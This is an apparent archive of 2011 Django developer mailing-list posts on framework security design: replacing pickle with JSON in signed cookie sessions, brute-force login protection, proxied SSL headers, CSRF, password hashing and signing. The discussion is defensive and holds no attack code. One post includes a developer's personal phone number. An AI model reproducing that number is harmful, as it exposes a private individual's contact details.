We do actually already have compression in the code for JSON[1]. Unfortunately, we probably can't enable it by default since it has a dependency on zlib. Looking at the code, it appears that we don't compress the pickled cookie, which means that compressed JSON might actually be more space efficient than our current implementation (which could be compressed, but is not). The other downside to JSON is that you can't serialize native Python objects into a session, but you probably shouldn't be doing that anyway. -Paul [1] https://code.djangoproject.com/browser/django/trunk/django/core/signing.py#L102 -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: prevent brute force attacks by acting on several failed logins, for example by using a captcha
My sense is that you're conflating 2 kinds of protection here because you haven't made a decision. Do you want to propose rate limiting, or a captcha? Answers to your points depend on that. Prior to more specific work on this matter (and before anything can be included in core), we need to address the issues in 16860. The generic groundwork must be done first. It would be helpful to examine this proposal in light of those concerns. What hooks does Django need to provide to allow this to be implemented cleanly as a third-party installable? This needs to be pluggable because (no matter what we include), it won't meet the requirements for a sizable subset of Django's users (many of whom have very explicit requirements). > Points 1-3 Our protection should be on by default if we include it in Django at all. This means that the default configuration will be universal enough that it doesn't get in the way for most installations. > 4. After x failed login attempts, protection kicks in. x is a > configurable amount of times, which by default is 3? 3 is too few for a default on a general user-facing site. Brute force attempts try hundreds of passwords. If normal users see this protection with any regularity, people will turn it off. > 5. Failed logins are either stored in a database (which works well for > small systems and protects against slow distributed attacks), or in > memory (for large systems). Default: use the database? Because most > users operate on small systems? Probably the database. An extra column on users would be the most obvious place, but it's a no-go because we don't have migrations and this functionality should be separately pluggable anyway. We would need to ship with a default set to off in the base settings file, and explicitly set it on for new projects. If it adds database columns, that might be an argument for shipping with it disabled. > 6. We protect against the following scenarios: > a. Login attempts coming from many IP-addresses and targeting a > single user account; > b. From a single IP-address, targeting a single user; > c. Single IP-address, more than one user. > Case 6a and - in a lesser extent - 6b are strong indicators for a > brute force attack. Case 6c might be brute force, but might also be > triggered by many users behind a proxy. These are all attack vectors. There's also multiple IP multiple account slow brute force, and many other variations. Any of these options is going to need to be quite configurable to work for most Django users. > 7. Protection may consist of: > a. denying access for x minutes for a given user or IP-address. x > is configurable, and by default: 5 minutes? Rate limiting is more user friendly than a hard cutoff like this. The hard cutoff is easier to explain to a user, though. This allows a DoS attack against specific users. > b. adding a sleeptime to login requests (mentioned several times, > but sounds very weak to me, because it can be easily passed by opening > a new connection?). Absolutely no. Adding sleep() anywhere in Django opens nasty DoS avenues. Sleep ties up workers for no reason. > c. logging it, and/or notifying the admin > d. adding a captcha to login form Which captcha do you propose? Is there a good one which does not add external dependencies? We can't require compiled dependencies like PIL out of the box. > 8. Protection should be configurable as well. By default: use a > captcha? Using a captcha prevents an attacker from using the denial > trigger for a DoS-attack. Captchas do that. They also introduce usability issues. Do you have a pure-python captcha which is also ADA compliant? How do you recommend we balance the difficulty (for both humans and robots) of the captcha? > 9. Rate limitors should be generably applicable, to all views. Yes. This is why they are probably best viewed as a separate feature. > 10. Final question: > Should this be in Django contrib? I argue in favor, in order to > protect the innocent and keep everyone safe. I agree that Django should ship some form of login protection. > django.contrib.security > seems a proper place to me. For rate limiting or captcha? The former might belong in core.ratelimit. The captcha is probably a pluggable related to contrib.auth. > There are several rate-limiting > implementations in the wild, but unfortunately they are not often > used. For example, compare the numbers on django-packages for django- > axes, brutebuster and ratelimitcache against a commonly used > application like south or django-debug-toolbar. Yep. This is why we do need to ship something with Django. But we need to be sure that we ship a careful, complete implementation, because once we make a decision about the interface, we have to support it for a long time. This is why many parts of contrib started as external projects and stayed that way until there were clear winners. If we can build the hooks that make it easy to build this kind of functionality, we can
Re: deprecation vs removal
> what is not cause they have separate deprecation policies. It also > encourages me to slack at upgrading and use something deprecated for a > while longer. Yes, but in the meantime you're using the newer, better supported, and often more-secure code. It allows you the luxury of taking the time, and encourages you to upgrade even if you don't have time to make application changes. This stability is an important promise for many of our users. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Removing pickle from cookie-based session storage
We recently committed changes to 1.4 that added signed cookie based session storage. Session data is pickled, signed, and sent to the client as a cookie. On receipt of the cookie, we check the signature, unpickle, and use the data. We could use JSON instead of pickle, at the expense of longer cookies. I believe that our signing implementation is secure and correct. However, I know that users of Django screw up from time to time. It's not uncommon to see SECRET_KEY in a git repository, and that value is often used in production. If SECRET_KEY is compromised, an attacker can sign arbitrary cookie data. The use of pickle changes an attack from "screw up the data in this application" to "arbitrary remote code execution". In light of this, we should be conservative and use JSON by default instead of pickle. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: deprecation vs removal
I agree with your analysis of the word, but also agree that the terminology is likely to confuse people for a while. PendingDeprecation is a rather unfortunate construction. If we can pull through the phase where people are confused, our terminology will be more precise for the change. +1 from me. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: prevent brute force attacks by acting on several failed logins, for example by using a captcha
(to complete my thought from the previous prematurely sent email) The bigger problem is that ANY rate-limiting framework is going to need heavy customization to work for all of the different ways Django is deployed. One size will definitely not fit all in this case. -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: prevent brute force attacks by acting on several failed logins, for example by using a captcha
Since you mention passwords specifically, I think this conversation is related to #16860. Throttling of passwords / adding captchas definitely falls under that ticket. https://code.djangoproject.com/ticket/16860 We probably should include a more general rate limiting framework (or at the very least, better instructions for configuring this in common webservers). Unfortunately, how to do this well is a REALLY hard problem. There's django-axes as well as Simon Willison's ratelimitcache. Neither of them are perfectly ideal. The bigger problem is that ANY rate-limiting framework is going to need At the moment, if your login field is not rate-limited, that is a configuration mistake which is between you and your webserver, and is not within the realm of what Django tries to do. We need to be careful not to re-implement functionality that is better left to other parts of the stack. -Paul On Thu, Sep 29, 2011 at 4:05 PM, Wim Feijenwrote: > Thanks guys for the support. > > For reference, there is a previous thread "Brute force attacks", here: > http://groups.google.com/group/django-developers/browse_thread/thread/71877ef02fb7c054/0b44e048b5bf4b77 > > Which does not mention captcha's btw. > > Luke, I'll think about it, but it will take some time; thanks for the > guidance. > > Wim > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To post to this group, send email to django-developers@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. > > -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: We're a group of students at UC Berkeley looking to contribute to Django
Hi Jamin, I'm Paul, one of the core devs for Django. I'm curious which class you're enrolled in and what your requirements are. I'm always excited to see new people looking to get involved in the project, and I happen to be VERY local. If you wanted to meet up some evening in one of the libraries or a coffee shop, I'd be very happy to help you guys get started (and I can help you find some non-trivial ways to dive into the codebase and make real contributions even without being familiar with the whole codebase). Drop me an email (and feel free to CC whoever else you're working with), or send me a text - 510 717 1471. -Paul On Mon, Sep 26, 2011 at 8:10 PM, jaminwwrote: > Hi all, > We're a a group of students at UC Berkeley taking an open source class and > we've decided to contribute to Django. > We looked at the bug tracker but it seems a little disorganized and some of > the easier bug reports are kinda trivial. > Is there any suggestions on how do we start? > Thanks! > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To view this discussion on the web visit > https://groups.google.com/d/msg/django-developers/-/p2sX1LUo6K0J. > To post to this group, send email to django-developers@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. > -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: We're a group of students at UC Berkeley looking to contribute to Django
Alec, I'm glad you're excited about this issue, but let's keep discussion of the installation issue on the other thread (and/or the ticket tracker). It would be best if we didn't go tasking new volunteers with big projects the community hasn't agreed on. The ticket tracker, and the issues there, and the contributing guides, are a great place for these folks to start. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: gunicorn in docs
If you write a good and comprehensive set of instructions for making django work with gunicorn, and are willing to keep them up to date, I see no reason we shouldn't include them. It's what I use, and has the advantage of being very, very easy to get working. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Revisiting proxied SSL headers
About a year ago Luke Plant wontfixed ticket #14597, which requested that Django add support setting for request.is_secure based on proxy-added headers (like X-Forwarded-Protocol) when Django is served by an HTTPS proxy [1]. Luke's reasons for closing were analogous to the SetRemoteAddrFromForwardedFor header [2], which Django removed because it was unreliable, really easy to get wrong, and a security issue when configured incorrectly. More recently, we changed the way we support the X-Forwarded-Host header for security reasons [3]. Support defaults to disabled, and users who need it can turn it back on. I bring these two examples up, because they are conflicting examples of how we might handle the SSL header issue. One complicating factor for the ssl header is that there are many (4 or so) ways of specifying the same meaning (that the proxy received the request on a secure connection). CarlJM's django-secure package [4] solves this problem by requiring the user to specify which header they want, if they need support for this. Luke's concerns about the security of this setting are extremely well founded. Enabling it when it is not needed is a very serious security problem, and negates many of the benefits of using SSL. In contrast, since Django doesn't support this configuration out of the box, we have users who are losing other benefits that SSL could provide when Django assumes all requests are insecure. The most striking example of this is our CSRF protection, where we enforce much more rigorous requirements on secured connections. In light of our handling of X-Forwarded-Host (which has known security issues), I propose that we reconsider support for X-Forwarded-Protocol (and relatives). The setting should require the user to find out which header their server is using, and configure it appropriately. This is enough of a barrier to entry that users won't simply set it to "on" without thinking. Additionally, if the conversation about including a django-secure style configuration check command comes to fruition, it gives us a chance to warn users again about the dangers of needlessly enabling the setting. -Paul [1] https://code.djangoproject.com/ticket/14597 [2] https://docs.djangoproject.com/en/dev/releases/1.1/#removed-setremoteaddrfromforwardedfor-middleware [3] https://www.djangoproject.com/weblog/2011/sep/09/security-releases-issued/ [4] https://github.com/carljm/django-secure -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: confusing things in Trac UI (was: Design decision for #1625...)
> I'd be in favor of just removing that "accept" radio button if it isn't > hard to do; doesn't do anything you can't do with the "reassign" option, > just gets confused with the triage state. This is a good idea. I made the same mistakes as a new contributor. > >> I can't own it since I'm not a core committer. Unless this has changed very recently, this isn't the case. I've definitely owned tickets long before I got into core. > The "new" vs "assigned" in big letters up top is another thing in our > Trac UI that I think is at best useless, at worst confusing. Yes! Let's get rid of that. It still confuses me now even when I know exactly what it means! -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: CSRF protection and cookies
> I had forgot about the Referer header check. It seems that it > would stop the subdomain-to-subdomain CSRF attacks as long as > the site is only using HTTPS, wouldn't it? Yep. I think the balance there makes sense. It would be nice to figure out a good way to do optional checking for non-HTTPS, but really, everyone should be using HTTPS. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: CSRF protection and cookies
> The applications I have in mind (where the "subdomain can set cookies > for other subdomains" could hurt) use django.contrib.auth and thus > sessions as well. Thus, they already have to do a session lookup for the > auth check, haven't they? Could that be reused for the CSRF check? Yes. Unfortunately, the cookie model (and thus your browser) are not really designed to protect you in this situation. We work around it as best we can, but it's an uphill struggle. Yes, it's very possible to tie CSRF to sessions, and the new signing bits make that even better. Django doesn't currently support this feature out of the box, and is unlikely to do so in 1.4. I've put some thought into the design for this, but it's not something I want to rush into, and it's not something that is easy to just tell someone else how to do and let them go implement it. I don't have the time to really turn this into a solid feature before we freeze 1.4. In the meantime, if you use SSL on each of your subdomains, you get strict checking of the Referer header for CSRF, which mitigates that particular avenue of attack. Since you're using sessions and auth, you should be using SSL, and so the protection is mostly free. > Just so I am not missing a class of attacks here: how important is CSRF > protection for non-session applications? I have always viewed CSRF > chiefly as an attack where you try to fool somebody who is authenticated > (and therefore has privileges in the system) to ask the system to > do a bad thing by doing the cross-site POST. Those are the worst sorts of CSRF. CSRF protection also helps prevent spamming, and can discourage reflected DoS attacks. Additionally, CSRF protection can help mitigate the effects of XSS in some cases. > If you would like help with testing etc for this, I hope I can offer > some time. Thanks, I'll take you up on that when I do get a chance to start drafting things. I went ahead and created #16859 to help keep track of these issues. https://code.djangoproject.com/ticket/16859 -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: CSRF protection and cookies
> Would it not be possible to move the second instance of the nonce (that > will be compared to the form field) from a cookie to a session variable > (at least when a session is available)? Would that result in other > problems instead? Yes it's possible, and that's how our CSRF protection worked at first. However, it has the disadvantage of being tied to sessions, and so our last revision of the framework specifically decoupled the two. One reason you may not want it tied to sessions is if you have a public comment form on an unencrypted page, but also want to have SESSION_COOKIE_SECURE, so sessions are never sent unencrypted. Another is that the extra session lookup for every form submitted may be a performance problem, depending on how you store your sessions and what your traffic profile looks like. Another reason is that you may not be using the sessions framework at all, and still want forms with CSRF protection. Improving the CSRF in this fashion is on my list of things to do, but it's a bit of a tricky problem, and so it hasn't happened yet. We can do better than we do now, but not without somewhat changing the properties of the system. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Should user passwords be more strict?
I'm happy you're concerned about this, but suggest you search the archives for similar material so that new threads can contribute new content. This search is probably a fantastic starting point for your reading pleasure: http://groups.google.com/group/django-developers/search?group=django-developers=password+policy_g=Search+this+group Regards, -Paul On Tue, Sep 13, 2011 at 3:52 PM, Wim Feijenwrote: > Having just finished a discussion on security, I'd like to raise a > concern of mine. > > By default, users can have a one-character password. > > When their accounts get hacked, we suffer the consequences as well. > > Should we be more strict in that? > > Wim > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To post to this group, send email to django-developers@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. > > -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Improved password hashing for 1.4
> Having recently written a Python implementation of PBKDF2 myself, I'd > just like to quietly point out that it is not a hashing algorithm. It > is a Key Derivation Function. That is, it's a way of generating key > material for crypto functions, from a password source. Yes, you're absolutely right. My choice of words was incorrect. Is your python implementation licensed in such a way that we could consider including it in Django? We've looked at a couple implementations now, having another option would be helpful. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Improved password hashing for 1.4
In conjunction with Justine Tunney, Isaac Kelly and Russell KM, I'd like to introduce our plan of attack for including significantly better password hashing in Django 1.4. One of the key goals with this push is to include just enough functionality that we can improve this particular aspect of Django. There's a lot of other great work that could happen as part of a more general contrib.auth overhaul, but we want to change as little as possible so we can get a patch out quickly (in time for the 1.4 feature freeze). The default password hashing algorithm will be changed to PBKDF2. We'll include a pure python implementation, but preferably load faster versions if available at the system level. Password hashing will happen via pluggable backends that implement the set_password() and check_password() methods on the current User model. We're considering trying the generic backend module from armstrong for this, with the idea that we can move our other adhoc backend implementations to a unified generic module in the future. We will include backends that implement all the existing hashing schemes as well as an optional module for bcrypt that uses a system library if available. We will work to provide a clean upgrade path for users of django-bcrypt. We will be extending the current system that allows users to upgrade their password algorithms in place. We recognize that sysadmins may change their mind about which algorithm they prefer (for example, if PBKDF2 becomes more overhead than they like, or they decide to upgrade from SHA1). We want people to be confident in trying the new hashing algorithms, so we will provide a mechanism for choosing a preferred hashing backend and converting passwords to that backend as they are used. We're looking at ways to mitigate the effects of DoS attacks against the auth module due to the higher CPU usage for these new backends. Suggestions on this topic are welcome, but will probably be implemented as part of a separate commit. I'm really excited that we finally have the momentum to bring this important change to Django! -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: plea for re-opening ticket 13125 marked as won't fix
> I'd like to make a case to re-open ticket 13125. Thanks for taking this to the mailing list rather than arguing in trac. > I understand that changing the current behaviour is backwards- > incompatible and therefor very unwanted. But, I'd say the current > implementation is forward-incompatible: meaning that current and > future users will stumble on something counter-intuitive and be amazed > that an inactive user can pass a login_required. No. Django makes an incredibly strong promise about backwards compatibility to its users. Security releases are the ONLY reason we modify behavior in backwards incompatible fashions, and we try very hard to avoid that. > For me, the current behaviour is contrary to most peoples expectation, > and my proposal would be to make the backwards-incompatible change to > make django more consistent (I might even say: more logical), which I > think is a good thing. Yeah, I agree that the current behavior is counter intuitive. It is an oddity and a wart that exists. > My proposal is also to add an active_or_inactive_login_required > decorator (a better name is welcome) which just checks whether a user > is authenticated; and then people could import that as login_required. I wouldn't be opposed to an additional decorator which makes better grammatical sense and does explicitly what you want. We just can't change the behavior of the current one. If you can come up with two new ones that make better sense there might be an argument for slowly deprecating the existing one. > The consequence is that some people would need to make a change to > keep their code working in Django 1.4 , but it is my belief that this > is only a small part of the Django population who have the skills to > adapt and that it will have a benificial effect to most current and > all future users. No. We do not do this. Otherwise every release would end up stuffed full of dozens of "tiny easy changes" which means nobody would bother updating. Regards, -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: plea for re-opening ticket 13125 marked as won't fix
> There are numerous counter arguments to the idea: Unintended > consequences. There is a possibility for race conditions, which would > then be security issues. Action at distance. I don't know if this is > possible to implement for all session backends. It's impossible to implement for cookie-based session backends. I'd probably be opposed to a behavior like that which worked with some backends and not others (though that backend is a weird special case). -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Multiple timezone support for datetime representation
> I'm going to use the same trick used by USE_L10N and explained by Anssi: set > USE_TZ to False in global_settings.py and to True in the template of > settings.py. This preserves backwards compatibility but the new code is the > default for new projects. This isn't gonna work because your new code will have a hard dependency on pytz. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: Multiple timezone support for datetime representation
Hi Aymeric, First, thanks for all your triage work on track, it's very much appreciated. This is a large proposal, but I think it covers the issue pretty completely. I agree with your approach of using UTC internally and converting on output. My main concern with your proposal is that it may require two different code paths for a lot of code. I have no objection to the dependency on pytz, but I don't want this to result in pytz-aware code that diverges significantly from the non-pytz default path. I would like this new code to eventually become the default setting, but acknowledge that there doesn't seem to be a good way to do that and maintain our current backwards compatibility (and external dependency) policy. This isn't my area of expertise, so I'm not a good mentor candidate, but I'd be excited to help you with this project where I can. I'm wholeheartedly +1 on this. Best, -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: HttpResponse and non-string content values
I replied on the ticket, but for the record here as well, the issue of consuming the iterator multiple times is tracked in #7581. I don't think that issue needs to be a blocker for this one, since it has existed for quite some time now. https://code.djangoproject.com/ticket/7581 -Paul On Fri, Aug 19, 2011 at 2:24 AM, Anssi Kääriäinen <anssi.kaariai...@thl.fi> wrote: > On Aug 19, 1:25 am, Paul McMillan <p...@mcmillan.ws> wrote: >> I added some test cases and cleaned the code up a bit. I believe sure >> this solution is backwards compatible (we're adding the string >> conversion, something that shouldn't have been possible before), but >> I'd like input from some other people. >> >> -Paul >> >> [1]https://code.djangoproject.com/ticket/16494 > > I took a look of the patch. The patch is backwards compatible, but the > problem is that I don't think the current implementation is correct. > It consumes the iterator multiple times. See the comments in the > ticket for details. > > - Anssi > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To post to this group, send email to django-developers@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. > > -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
HttpResponse and non-string content values
I wrote a patch for #16494 [1] that could use some a few more eyes. In short, the issue here is that the existing code for setting the content of an HTTPResponse behaves inconsistently when given non-strings. Setting content during __init__ behaves differently for iterators than setting it later via the content property. If a non-string, non-iterator is set for content, the code eventually throws an error during string operations. If content is an iterator, it is iterated over and (crucially) the content is converted to a string. My initial response was to fix the logic error for non-strings and return an explicit error stating that this function requires a string for content. However, since the existing iterator code does convert to a string, the most consistent thing we can do here seems to be converting everything (including non-iterators) right before output. I added some test cases and cleaned the code up a bit. I believe sure this solution is backwards compatible (we're adding the string conversion, something that shouldn't have been possible before), but I'd like input from some other people. -Paul [1] https://code.djangoproject.com/ticket/16494 -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: RFC: #12417 - Support for signing (including secure cookies)
> int(time.time()) == 1305761382 > base62.encode(1305761382) == '1QMqBS' > base62.encode(1305761382) == 'KgwVC' Oops! meant to say base62.encode(305761382) == 'KgwVC' -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: RFC: #12417 - Support for signing (including secure cookies)
>> Baseconv is a clever bit of work. It should probably be using our full >> base64 charset. We could also shave some digits in the time-limited >> output there by subtracting from a more recent fixed value than the >> unix epoch, the way the password reset token code does. > > The TimeStampSigner requires the seconds to correct determine whether the > signature is still valid, so I'm not sure if that's a good idea. If you > have an idea to have both thing, I'd appreciate any help. If we subtract 1e9 from our timestamp, we get a 5 digit timestamp rather than 6 for the next 19 years. If we add - and _ to our allowed characterset, we extend that to 24 years. int(time.time()) == 1305761382 base62.encode(1305761382) == '1QMqBS' base62.encode(1305761382) == 'KgwVC' Shaving 1 character seems like an overoptimization, except that we're talking about storing values in cookies, where space is already very limited. I'll see if I can find you on IRC to discuss the salting. -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: RFC: #12417 - Support for signing (including secure cookies)
Also, regarding the note about not echoing back the expected value even during debug (line 156 of signing.py): Do it the same way as it is with the auth tokens, compute the expected value inline without assigning it to a variable. http://code.djangoproject.com/browser/django/trunk/django/contrib/auth/tokens.py#L34 -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: RFC: #12417 - Support for signing (including secure cookies)
> Yeah, SHA256 and SHA512 have the downsides of being rather long for > the type of application the signatures are going to be used for, > e.g. one-time URLs. That's fair. SHA1 is moving towards broken, but HMAC currently covers that gap. Shorter is certainly a feature we want here. > If I read the draft spec correctly it's basically the same algorithm > as used in the current patch but SHA256 instead of SHA1. [1] Yeah. Unfortunately JWS packages a fair bit of data which is not strictly necessary (encryption protocol, etc.). In the interest of letting users put as much data as possible in cookies, we probably want to avoid that. Baseconv is a clever bit of work. It should probably be using our full base64 charset. We could also shave some digits in the time-limited output there by subtracting from a more recent fixed value than the unix epoch, the way the password reset token code does. I'm not entirely happy with the way the salting works (or perhaps I've misunderstood it). It seems more appropriate to generate the salt (let the user specify the length) and store it with the string, the same way you do salted passwords. The way the interface is currently written, nobody will ever use a salt, or they'll try to use a static string as a salt (the existing docs get it wrong in exactly this way), which largely defeats the purpose. It would make more sense to be able to say "I want salt" the way you say "I want a timestamp". -Paul -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: RFC: #12417 - Support for signing (including secure cookies)
I'd also like to review this in depth before it gets committed, but won't have a chance to do that for a day or two. I agree with Luke re: salted hmac. A couple of initial thoughts: Since we aren't supporting Python 2.4 anymore, we have access to hashlib. We should use SHA256 or 512. Since these functions are for signing JSON objects, let's use the existing format which is on the standards track - JSON Web Signature (JWS)[1] for signing (and in the future, JWE for encryption). They (along with JWT, the token format) are part of OAuth2.0, but are getting standardized separately so they get done sooner. It's mostly a formatting change to produce output that is compatible. I'll be happy to write the change it if nobody complains about the idea. I like the idea of using a standard for this. I REALLY like the idea that other people have been reviewing this standard with cryptographic security in mind. -Paul [1] http://tools.ietf.org/html/draft-jones-json-web-signature On Wed, May 11, 2011 at 4:05 PM, Luke Plantwrote: > On 11/05/11 20:20, Jannis Leidel wrote: >> Hi all, >> >> This is in continuation to Simon's previous efforts about adding tools >> for easy signing, including secure cookies ([1], [2]). >> >> Stephan (who is working on #9200 [3] -- improving the wizard in >> contrib.formtools) and me just updated the patch attached to ticket >> #12417 [4] with the recommended changes according to the mailing list >> threads and the Trac ticket: >> >> http://code.djangoproject.com/attachment/ticket/12417/ticket12417-v4.diff >> >> The complete changes (as noted) are: >> >> - Moved from django.utils.signed to django.core.signing >> - Removed the seperator argument to the Signer.sign and Signer.unsign >> methods and moved it to a class attribute >> - Added key prefix ('django.http.cookies') to Signer instantiation >> - Changed key ordering from `"signer" + key + salt` to `salt + "signer" + >> key` >> to lower the chance for brute force attacks >> - PEP8 and other style changes >> - Use constant_time_compare from django.utils.crypto for timing attack >> proof signature verification >> - Updated and fixed docs >> - Changed setting name from COOKIE_SIGNER_BACKEND to SIGNING_BACKEND >> >> We'd appreciate any further comments before I commit this patch, given >> the formtools wizard being dependent on it for its cookie storage backend. > > We already have one way of using hmac with unique keys for each > application - django.utils.crypto.salted_hmac. I looked at the code, and > can't see any reason we couldn't make Signer use that code path, rather > than having two very similar code paths. I see no reason for the new > code to directly use either settings.SECRET_KEY or hmac even once, and > doing so makes our code much harder to audit for security problems - > every place where we use SECRET_KEY or hmac directly is a place we have > to worry about. > > Currently we have 4 uses of SECRET_KEY (one of them is in a deprecated > code path), and 1 use of hmac.new. > > So I feel quite strongly that we should fix this code to use > salted_hmac. (Or fix salted_hmac if there is some problem with it, but > remembering that there is lots of data that depends on it). > > I haven't had time to further review, but thought I'd get that out > straight away. > > Regards, > > Luke > > -- > Parenthetical remarks (however relevant) are unnecessary > > Luke Plant || http://lukeplant.me.uk/ > > -- > You received this message because you are subscribed to the Google Groups > "Django developers" group. > To post to this group, send email to django-developers@googlegroups.com. > To unsubscribe from this group, send email to > django-developers+unsubscr...@googlegroups.com. > For more options, visit this group at > http://groups.google.com/group/django-developers?hl=en. > > -- You received this message because you are subscribed to the Google Groups "Django developers" group. To post to this group, send email to django-developers@googlegroups.com. To unsubscribe from this group, send email to django-developers+unsubscr...@googlegroups.com. For more options, visit this group at http://groups.google.com/group/django-developers?hl=en.
Re: RFC: new backports policy
